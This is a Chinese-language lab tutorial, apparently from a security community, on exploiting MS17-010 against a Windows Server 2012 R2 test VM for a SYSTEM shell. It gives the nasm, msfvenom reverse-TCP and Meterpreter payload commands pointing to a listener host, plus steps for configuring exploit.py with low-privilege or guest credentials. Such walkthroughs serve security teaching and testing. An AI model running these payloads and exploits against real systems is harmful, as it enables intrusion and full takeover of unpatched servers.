先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
投稿
直接右上角
【个人中心】-【创建新帖子】-【节点模块】选择【技术文章】。投稿时麻烦提供下可联系到作者的IM,方便审核沟通。(如未收到回复,联系wx:50421961)Ps:
MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧
利用ms17-10提权win2012测试环境搭建:
这里我们简单地进行测试,我们需要一个kali2017.1的虚拟机,以及一个Windows 2012 R2的目标靶机虚拟机。

图一 Windows 2012 R2(x64)
该漏洞可以在低权限下被利用,这种前提条件需要获得目标靶机的普通用户登录凭据(用户名和密码),一旦该漏洞被利用总会收到一个system权限的终端。

图二 创建一个普通账号test

图三 启用来宾用户guest
要理解这个漏洞如何被利用,我们必须考虑这三种类型的文件,以及我们如何创建这些文件:
Exploit
Kernel Shellcode
Userland Shellcode

图四 第一种流程图

图五 第二种流程图
第1步:创建 Kernel Shellcode
我们首先要创建一个Kernel Shellcode,可从下面地址中获得:
将下载的代码复制粘贴另存为kernel_shell_x64.asm,为了执行它,我们将执行这个命令:
nasm -f bin kernel_shell_x64.asm 因此,它将生成一个名为kernel_shell_x64 的文件 :

图六 创建 kernel_shell_x64
第2步:创建Userland Shellcode(Payload)
下一步是要创建一个 普通用户的Shellcode(为了简化,它会创建一个二进制文件,其中将包含我们的有效载荷)我们需要使用工具msfvenom
它将创建两种类型的有效负载:
- 一个反向tcp的有效载荷以及
- 一个反向msf的有效载荷
Meterpreter
反向tcp的有效载荷:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444 
图片七 创建反向tcp的有效载荷
反向msf的有效载荷Meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444 
图八 msf的有效载荷Meterpreter
一旦创建了有效载荷,我们应该把每一个与kernel_shell_x64 文件连接起来, 这样我们将生成新的二进制文件:
cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin 
图九 生成reverse_shell.bin

图十 生成meterpreter.bin
我们创建一个名为binaries的文件夹,我们将文件meterpreter.bin和reverse_shell.bin复制到该文件下。
mkdir binarios cp reverse_shell.bin meterpreter.bin binarios/ cd binarios/ ls 
图十一 创建二进制文件夹和复制文件
第3步:创建exploit.py
Exploit.py创建文件,代码可以从该链接下载:

图十二 创建exploit.py文件
第4步:配置exploit.py与相应的用户
在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号(如需要来宾则需要启用guest账号)进行修改测试。

图十四 test用户Exploit.py配置
第5步:监听反弹shell


图十五 shell监听反弹(Payload: windows/x64/shell/reverse_tcp)

图十六 msf监听反弹(Payload: windows/x64/meterpreter/reverse_tcp)
第6步:执行漏洞利用
在这一步中,我们将使用exploit.py和包含反向shell或meterpreter负载会话的二进制文件进行攻击。值为“500”的参数对应于“numGroomConn”。调整连接数量“Groom”有助于在内核中实现连续的内存池,以便覆盖缓冲区结束我们想要的位置,并实现正确的shellcode执行。

图十七 利用负载reverse_shell.bin

图十八 利用有效载荷meterpreter.bin
第7步:执行结果:

图十九 获取目标终端shell

图二十 有效载荷Meterpreter的shell